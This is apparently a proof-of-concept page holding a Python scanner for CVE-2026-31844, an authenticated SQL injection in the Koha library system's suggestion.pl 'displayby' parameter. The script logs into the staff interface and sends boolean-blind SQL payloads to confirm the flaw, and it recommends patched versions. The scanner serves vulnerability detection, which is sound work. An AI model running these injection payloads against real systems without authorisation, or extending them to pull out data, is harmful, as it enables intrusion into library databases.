5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / scanner.py PY
#!/usr/bin/env python3
"""
CVE-2026-31844 - Koha Authenticated SQL Injection Vulnerability Scanner
======================================================================
This tool acts as a responsible vulnerability scanner for CVE-2026-31844. 
It tests for the presence of the SQL injection vulnerability using an 
authenticated Boolean-Based Blind technique without attempting to 
extract sensitive data like passwords or user information.

Vulnerability: SQL Injection in suggestion.pl via 'displayby' parameter
Ref: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=41593

Usage:
    python3 scanner.py -t http://HOST:PORT -u USER -p PASS
"""

import requests
import sys
import re
import argparse
import urllib3
from urllib.parse import urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

VULN_PATH = "/cgi-bin/koha/suggestion/suggestion.pl"
LOGIN_PATH = "/cgi-bin/koha/mainpage.pl"

BANNER = """
\033[36m╔═══════════════════════════════════════════════════════════════╗\033[0m
\033[36m║\033[0m           \033[1;36mCVE-2026-31844 — Koha Vulnerability Scanner\033[0m         \033[36m║\033[0m
\033[36m║\033[0m       \033[33mAuthenticated SQLi in suggestion.pl (displayby)\033[0m         \033[36m║\033[0m
\033[36m║\033[0m                 \033[2m(Mothra)\033[0m                                      \033[36m║\033[0m
\033[36m╚═══════════════════════════════════════════════════════════════╝\033[0m
"""

def print_success(msg):
    print(f"\033[1;32m[+]\033[0m {msg}")

def print_error(msg):
    print(f"\033[1;31m[-]\033[0m {msg}")

def print_info(msg):
    print(f"\033[1;34m[*]\033[0m {msg}")

def print_warning(msg):
    print(f"\033[1;33m[!]\033[0m {msg}")

class KohaScanner:
    def __init__(self, target: str, username: str, password: str, verify_ssl: bool = False):
        parsed = urlparse(target)
        if not parsed.scheme:
            target = "http://" + target
        self.target = target.rstrip("/")
        
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = verify_ssl

    def login(self) -> bool:
        print_info(f"Target: {self.target}")
        print_info(f"Authenticating to staff interface as '{self.username}'...")

        try:
            r = self.session.get(f"{self.target}/", timeout=15)
            
            csrf = re.findall(r'name="csrf_token"[^>]*value="([^"]+)"', r.text)
            if not csrf:
                csrf = re.findall(r'value="([^"]+)"[^>]*name="csrf_token"', r.text)
            
            if not csrf:
                print_error("Could not extract CSRF token. Is this a Koha staff interface?")
                return False

            data = {
                "csrf_token": csrf[0],
                "op": "cud-login",
                "koha_login_context": "intranet",
                "login_userid": self.username,
                "login_password": self.password,
            }
            
            r = self.session.post(
                f"{self.target}{LOGIN_PATH}",
                data=data,
                allow_redirects=True,
                timeout=15,
            )

            if "Log out" in r.text or "cud-logout" in r.text:
                print_success("Authentication successful!\n")
                return True
            else:
                print_error("Authentication failed. Check credentials or permissions.")
                return False

        except requests.exceptions.ConnectionError:
            print_error(f"Connection failed to {self.target}")
            return False
        except requests.exceptions.Timeout:
            print_error(f"Connection timed out to {self.target}")
            return False

    def _inject(self, payload: str) -> int:
        try:
            r = self.session.get(
                f"{self.target}{VULN_PATH}",
                params={"op": "else", "displayby": payload},
                timeout=15,
            )
            return r.status_code
        except requests.exceptions.RequestException as e:
            return 0 

    def test_vulnerability(self) -> bool:
       
        print("=" * 60)
        print(" \033[1mVULNERABILITY SCAN\033[0m")
        print("=" * 60)
        
        print_info("Testing vulnerability using safe Boolean-blind evaluation...")

        print("    [1] Testing baseline request (STATUS)...", end=" ")
        status_baseline = self._inject("STATUS")
        if status_baseline == 200:
            print("\033[32mHTTP 200 (OK)\033[0m")
        else:
            print(f"\033[33mHTTP {status_baseline}\033[0m")

      
        print("    [2] Testing TRUE condition evaluation...", end=" ")
        status_true = self._inject("IF(1=1, (SELECT 1 UNION SELECT 2), 1)")
        if status_true == 500:
            print("\033[32mHTTP 500 (Expected Error)\033[0m")
        else:
            print(f"\033[31mHTTP {status_true}\033[0m")

        
        print("    [3] Testing FALSE condition evaluation...", end=" ")
        status_false = self._inject("IF(1=2, (SELECT 1 UNION SELECT 2), 1)")
        if status_false == 200:
            print("\033[32mHTTP 200 (OK)\033[0m")
        else:
            print(f"\033[31mHTTP {status_false}\033[0m")

        print("=" * 60)

        if status_baseline == 200 and status_true == 500 and status_false == 200:
            print("\n\033[1;41m[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 \033[0m\n")
            print_warning("The target evaluated the SQL conditions and returned differential HTTP codes.")
            print_warning("Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.")
            return True
        else:
            print("\n\033[1;42m[ SECURE ] Target does not appear vulnerable. \033[0m\n")
            print_info("The server did not respond to the Boolean-blind SQLi payloads as expected.")
            return False

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(
        description="Vulnerability Scanner for CVE-2026-31844 (Authenticated Koha SQLi)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 scanner.py -t http://koha.local:8081 -u staff -p password123
  python3 scanner.py -t https://koha.library.edu -u admin -p secret --no-verify-ssl
        """
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://koha.local:8081)")
    parser.add_argument("-u", "--user", required=True, help="Staff interface username")
    parser.add_argument("-p", "--pass", dest="password", required=True, help="Staff interface password")
    parser.add_argument("--no-verify-ssl", action="store_true", help="Disable SSL certificate verification")

    args = parser.parse_args()

    scanner = KohaScanner(
        target=args.target,
        username=args.user,
        password=args.password,
        verify_ssl=not args.no_verify_ssl,
    )

    if scanner.login():
        scanner.test_vulnerability()
    else:
        sys.exit(1)

if __name__ == "__main__":
    main()